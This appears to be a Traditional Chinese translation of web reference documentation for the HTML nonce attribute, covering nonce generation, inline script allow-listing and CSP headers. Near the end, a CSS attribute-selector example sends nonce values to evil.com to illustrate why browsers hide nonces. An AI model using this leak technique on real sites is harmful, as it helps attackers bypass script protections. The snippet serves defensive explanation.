nonce
描述
使用 nonce 將 <script> 元素列入白名單
使用 nonce 機制將內聯指令碼列入白名單涉及幾個步驟
生成值
從您的 Web 伺服器生成一個至少 128 位資料的隨機 Base64 編碼字串,該字串來自加密安全的隨機數生成器。每次頁面載入時,都應以不同的方式生成 Nonce(Nonce 只使用一次!)。例如,在 nodejs 中
js
const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='
將內聯指令碼列入白名單
您在後端程式碼中生成的 nonce 現在應用於您要列入白名單的內聯指令碼
html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
// …
</script>
使用 CSP 標頭髮送 nonce
最後,您需要在 Content-Security-Policy 標頭中傳送 nonce 值(在前面加上 nonce-)
http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
訪問 nonce 和 nonce 隱藏
出於安全原因,nonce 內容屬性是隱藏的(將返回空字串)。
js
script.getAttribute("nonce"); // returns empty string
nonce 屬性是訪問 nonce 的唯一方法
js
script.nonce; // returns nonce value
Nonce 隱藏有助於防止攻擊者透過可以從內容屬性中獲取資料的機制來洩露 nonce 資料
css
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
規範
| 規範 |
|---|
| HTML 標準 # attr-nonce |
瀏覽器相容性
BCD 表格僅在啟用 JavaScript 的瀏覽器中載入。